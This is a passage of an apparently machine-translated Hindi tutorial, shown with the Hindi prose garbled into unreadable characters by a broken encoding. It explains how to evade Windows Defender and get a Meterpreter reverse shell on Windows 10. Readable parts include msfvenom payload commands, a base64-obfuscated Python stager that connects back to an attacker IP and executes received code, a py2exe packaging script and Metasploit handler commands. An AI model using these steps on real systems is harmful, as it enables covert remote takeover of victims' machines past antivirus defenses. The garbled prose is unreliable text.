рд╕рд╕реНрддреЗ рдФрд░ рдЦрд╝реБрд╢реА рдХреЗ рд╕рд╛рде рд╡рд┐рдВрдбреЛрдЬ рдбрд┐рдлреЗрдВрдбрд░ рдХреЗ рдЖрд╕рдкрд╛рд╕ рд╣реЛ рд░рд╣рд╛ рд╣реИ: рдЕрдЬрдЧрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдореАрдЯрд░рдкреНрд░реЗрдЯрд░ рд╕рддреНрд░

рдЫрд╡рд┐

рд╕рднреА рдХреЛ рдирдорд╕реНрдХрд╛рд░ред рдЖрдЬ рд╣рдо рдирд╡реАрдирддрдо рдкреИрдЪ (рд╡рд┐рдВрдбреЛрдЬ рдбрд┐рдлреЗрдВрдбрд░ рд╕рд╣рд┐рдд) рдХреЗ рд╕рд╛рде рд╡рд┐рдВрдбреЛрдЬ 10 рдорд╢реАрди рдкрд░ рдореАрдЯрд░рдкрд░реЗрдЯрд░ рд╕рддреНрд░ рдЪрд▓рд╛рдиреЗ рдХреЗ рд╡рд┐рдХрд▓реНрдк рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВрдЧреЗред рдФрд░ рд╣рдо рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рдХреЛ рднреА рдмрд╛рдпрдкрд╛рд╕ рдХрд░реЗрдВрдЧреЗред рдореАрдЯрд░рдкрд░реЗрдЯрд░ рдПрдХ рдЙрдиреНрдирдд рдорд▓реНрдЯреАрдлрд╝рдВрдХреНрд╢рдирд▓ рдлрд┐рд▓рд┐рдВрдЧ (рдкреЗрд▓реЛрдб, рд▓реЛрдб) рд╣реИ, рдЬрд┐рд╕реЗ рд░рдирдЯрд╛рдЗрдо рдкрд░ рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╕рд╛рдорд╛рдиреНрдп рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ, рдпрд╣ рдЖрдкрдХреЛ рдПрдХ рдореВрд▓ рд╢реЗрд▓ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЖрдкрдХреЛ рдЖрд╡рд╢реНрдпрдХрддрд╛рдиреБрд╕рд╛рд░ рдЗрд╕рдореЗрдВ рдирдИ рд╕реБрд╡рд┐рдзрд╛рдПрдБ рдЬреЛрдбрд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
рд╣рдо рдЗрд╕реЗ рдкрд╛рдпрдерди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд░реЗрдВрдЧреЗ, рдФрд░ рджреЗрдЦреЗрдВрдЧреЗ рдХрд┐ рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рдЙрдкрдХрд░рдг рдХреИрд╕реЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд░рддреЗ рд╣реИрдВред

рдкреНрд░рд╢реНрди рдХрд╛ рдЙрддреНрддрд░ рджреЗрддреЗ рд╣реБрдП, "рдХреНрдпрд╛ рд╣рдореЗрдВ рдкреАрдбрд╝рд┐рдд рдорд╢реАрди рдкрд░ рдкрд╛рдпрдерди рдХреА рдЬрд░реВрд░рдд рд╣реИ?

рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рд╣рдо рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗ:

  • рд╡рд┐рдВрдбреЛрдЬ 10 рдХреЗ рд╕рд╛рде рд╡рд┐рдВрдбреЛрдЬ рдбрд┐рдлреЗрдВрдбрд░ рдЕрдкрдбреЗрдЯреЗрдб рдбреЗрдЯрд╛рдмреЗрд╕ (рдкреАрдбрд╝рд┐рдд рдХрдВрдкреНрдпреВрдЯрд░ 192.168.1.113) рдХреЗ рд╕рд╛рде рд╕рдХреНрд╖рдо;
  • рдореЗрдЯрд╛рд╕реНрдкреНрд▓реЛрдЗрдЯ рдФрд░ рдПрдордПрд╕рдлрд╡реЗрдиреЙрдо (192.168.1.126) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╛рд▓реА рд▓рд╛рдЗрдирдХреНрд╕;
  • рд╡рд┐рдВрдбреЛрдЬ 10 рдмрд╛рдЗрдирд░реА рдХреЛ рдЕрд╕реЗрдВрдмрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП (рд╣рдорд╛рд░реА рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛ рдореЗрдВ рдпрд╣ рдкреАрдбрд╝рд┐рдд рдХреЗ рдХрдВрдкреНрдпреВрдЯрд░ рд╕реЗ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ) рд╕реНрдерд╛рдкрд┐рдд рд▓реЛрдЧреЛрдВ рдХреЗ рд╕рд╛рде;
  • рдЕрдЬрдЧрд░ (3, рд▓реЗрдХрд┐рди 2 рдХреЗ рд▓рд┐рдП рднреА рд╣рдо рджреЗрдЦреЗрдВрдЧреЗ);
  • py2.exe ред

рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рдХреЛ рд░реЗрдЦрд╛рдВрдХрд┐рдд рдХрд░рддреЗ рд╣реИрдВ: рдПрдХ рдорд╛рдирдХ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд╕рд╛рде рдПрдХ exe рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдВ, рдЗрд╕реЗ рдкреАрдбрд╝рд┐рдд рдХреА рдорд╢реАрди рдкрд░ рдХреЙрдкреА рдХрд░реЗрдВ рдФрд░ рджреЗрдЦреЗрдВ рдХрд┐ рдпрд╣ рдХрд┐рд╕ рдУрд░ рд▓реЗ рдЬрд╛рдПрдЧрд╛ред

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f exe > hunt.exe 

рд╣рдореЗрдВ рдЕрдкрдиреЗ рдкреБрд░рд╛рдиреЗ рдорд┐рддреНрд░ рд╡рд┐рдВрдбреЛрдЬ рдбрд┐рдлреЗрдВрдбрд░ рд╕реЗ рдПрдХ рдЪреЗрддрд╛рд╡рдиреА рдорд┐рд▓рддреА рд╣реИ, рдЬрд┐рд╕реЗ рд╣рдо рд╕рднреА рдмрд╣реБрдд рдкреНрдпрд╛рд░ рдХрд░рддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рдЕрдЧрд░ рд╣рдо VirusTotal рд╕реЗ рдкреВрдЫреЗрдВ, рддреЛ рд╡рд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╣реЗрдЧрд╛:

рдЫрд╡рд┐

рдЪрд▓реЛ рдкрд╛рдпрдерди рдЪрд▓рд╛рддреЗ рд╣реИрдВ рдФрд░ рд╣рдо рд╕рднреА рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд╛рде рдЖрддреЗ рд╣реИрдВред

рдкрд╛рдпрдерди / рдореАрдЯрд░рдкреНрд░реЗрдЯрд░ / рд░рд┐рд╡рд░реНрд╕_рдЯреАрдХреИрдк рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп рдХреНрд░реЙрд╕-рдкреНрд▓реЗрдЯрдлреЙрд░реНрдо рдкреЗрд▓реЛрдб рдореЗрдЯрд╛рд╕рд╛рдкреНрд▓реЛрдЗрдЯ рдлреНрд░реЗрдорд╡рд░реНрдХ рд╣реИ рдЬреЛ рдЖрдкрдХреЛ рдПрдХ рд╕рдордЭреМрддрд╛ рдХрд┐рдП рдЧрдП рдХрдВрдкреНрдпреВрдЯрд░ рдХреЛ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрд╣ рд╕реЛрдЪрдиреЗ рдХреА рдЬрд╝рд░реВрд░рдд рдирд╣реАрдВ рд╣реИ рдХрд┐ рдХрд┐рд╕ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдХреЛ рдЪреБрдирдирд╛ рд╣реИ, рдпрд╣ рдХрд┐рд╕реА рднреА рдкрд░ рдХрд╛рдо рдХрд░реЗрдЧрд╛, рд▓реЗрдХрд┐рди рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рд╣рдо рд╡рд┐рдВрдбреЛрдЬ рд╕реЗ рдЗрд╕рдХреЗ рд▓рд┐рдП рдПрдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдВрдЧреЗред

рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, py2.exe рдкреИрдХреЗрдЬ рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ, рдЬреЛ рдЖрдкрдХреЛ рдкрд╛рдпрдерди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕реЗ рд╡рд┐рдВрдбреЛрдЬ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдмрдирд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдпрд╣ рдкрд╛рдпрдерди 3.4 рд╣реЛрдЧрд╛ (рдЙрдкрд░реЛрдХреНрдд рд╕рднреА py2exe рдХрд╛ рд╕рдорд░реНрдерди рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ)ред

 py -3.4 тАУm pip install py2exe 

рдпрд╛

 pip install py2exe 

рдЕрдЧрд▓рд╛, рдПрдХреНрд╕рдЯреЗрдВрд╢рди .py рдХреЗ рд╕рд╛рде рдПрдХ рдХрдЪреНрдЪрд╛ рдкрд╛рдпрдерди рдХреЛрдб рдмрдирд╛рдПрдВ

 msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f raw > hunt.py 

Msfvenom рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдореЗрдВ рднреА рд╣рдореЗрдВ рдЧреЗрдЯрдкрд╛рд╕ рдЖрдпрд╛рдд рдХреЛ рдЬреЛрдбрд╝рдирд╛ рд╣реЛрдЧрд╛, рдЬрд┐рд╕реЗ рд╡рд╣ рд╕реНрд╡рдпрдВ рдХрд░рдирд╛ рднреВрд▓ рдЬрд╛рддрд╛ рд╣реИред рдЕрдВрдд рдореЗрдВ, рдЗрд╕реЗ рдЗрд╕ рддрд░рд╣ рдмрджрд▓рдирд╛ рдЪрд╛рд╣рд┐рдП:

 import getpass,base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4xMjYnLDkwMDEpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK'))) 

рдЕрдм рд╣рдо рдПрдХ рдмрд╛рдЗрдирд░реА рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рд╣реИрдВред

 python34 -m py2exe.build_exe hunt.py --bundle-files 0 

рдЖрдкрдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдорд┐рд▓рдирд╛ рдЪрд╛рд╣рд┐рдП:

рдЫрд╡рд┐

рдЪрд▓рд┐рдП рдлрд┐рд░ рд╕реЗ рджреЗрдЦрддреЗ рд╣реИрдВ VirusTotal:

рдЫрд╡рд┐

рдкрд╣рд▓реЗ рд╕реЗ рдмреЗрд╣рддрд░ рд╣реИ, рдЕрдм рдЗрд╕реЗ рдХрд╛рд░реНрд░рд╡рд╛рдИ рдореЗрдВ рджреЗрдЦреЗрдВ - рдкреАрдбрд╝рд┐рдд рдХреА рдорд╢реАрди рдкрд░ рдкреНрд░рддрд┐рд▓рд┐рдкрд┐ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо рдмрд┐рдирд╛ рдЕрд▓рд░реНрдЯ рдХреЗ рдХрд╛рдо рдХрд░реЗрдВрдЧреЗред

рд╕рдорд╛рдирд╛рдВрддрд░ рдореЗрдВ, рдХреНрд░рдо рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдЪрд▓рд╛рдХрд░ рдЕрдЬрдЧрд░ рдХреЗ рд▓рд┐рдП рд╣рдорд╛рд░реЗ msf рдФрд░ рд╣реИрдВрдбрд▓рд░ рдХреЛ рдЪрд▓рд╛рдПрдВ:

 msfconsole use exploit/multi/handler set PAYLOAD python/meterpreter/reverse_tcp set lhost 192.168.1.126 set lport 9001 run 

рдЫрд╡рд┐

рдЪрд▓реЛ рдЖрдЧреЗ рдмрдврд╝рддреЗ рд╣реИрдВ рдФрд░ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рд╕рддреНрд░ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рдХрд╛рдо рдХрд░ рд░рд╣рд╛ рд╣реИред

рдЫрд╡рд┐

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╕рддреНрд░ рд╢реБрд░реВ рд╣реЛ рдЧрдпрд╛ рд╣реИ рдФрд░ рд╡рд┐рдВрдбреЛрдЬ рдбрд┐рдлреЗрдВрдбрд░ рдиреЗ рдХрд╛рдо рдирд╣реАрдВ рдХрд┐рдпрд╛, рдЬреЛ рдХрд┐ рд╣рдо рд▓рдХреНрд╖реНрдп рдХрд░ рд░рд╣реЗ рдереЗред

рдЙрд╕реА рд╕рдордп, рдЖрдЗрдП рджреЗрдЦреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдкрд╛рдпрдерди 2 рд╕рдВрд╕реНрдХрд░рдг рд╣реИ рддреЛ рдХреНрдпрд╛ рдХрд░реЗрдВред

  1. рдЕрдЬрдЧрд░ 2 рдХреЗ рд▓рд┐рдП py2.exe рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ
  2. .Py рд╡рд┐рд╕реНрддрд╛рд░ рдХреЗ рд╕рд╛рде рдкреЗрд▓реЛрдб рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВ
  3. рд╣рдо setup.py рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рддреЗ рд╣реИрдВ рдФрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд▓рд┐рдЦрддреЗ рд╣реИрдВ:

     from distutils.core import setup import py2exe setup( name = 'Meter', description = 'Python-based App', version = '1.0', console=['hunt.py'], options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}}, zipfile = None, ) 
  4.  python.exe .\setup.py py2exe 


рд╕рдм рдХреБрдЫ рдПрдХ рдЬреИрд╕рд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред

рдирддреАрдЬрддрди, рдореИрдВ рдзреНрдпрд╛рди рджреЗрддрд╛ рд╣реВрдВ рдХрд┐ рдкрд╛рдпрдерди рдореАрдЯрд░рдкрд░реЗрдЯрд░ рд╢реЗрд▓ рдЕрдзрд┐рдХ рдкрд░рд┐рдЪрд┐рдд рдЦрд┐рдбрд╝рдХрд┐рдпреЛрдВ рдХреЗ рдореАрдЯрд░рдкрд░реЗрдЯрд░ рдХреА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдореЗрдВ рд╣реАрди рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрдк рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдирд╣реАрдВ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ getystem рдЬреИрд╕реЗ рдЖрджреЗрд╢реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдлрд┐рд░ рднреА рдпрд╣ рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╡рд┐рдХрд▓реНрдк рд╣реИ: msf (рдХрдо рд╕реЗ рдХрдо рд░реВрдЯрд┐рдВрдЧ рдФрд░ рдкреЛрд░реНрдЯрдлрд╝реАрдб) рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рддреНрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ рдФрд░ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдЕрдВрджрд░ рдХрд╛рдо рдХрд░рдирд╛ рдЬрд╛рд░реА рд░рдЦреЗрдВред

Source: https://habr.com/ru/post/hi459168/


All Articles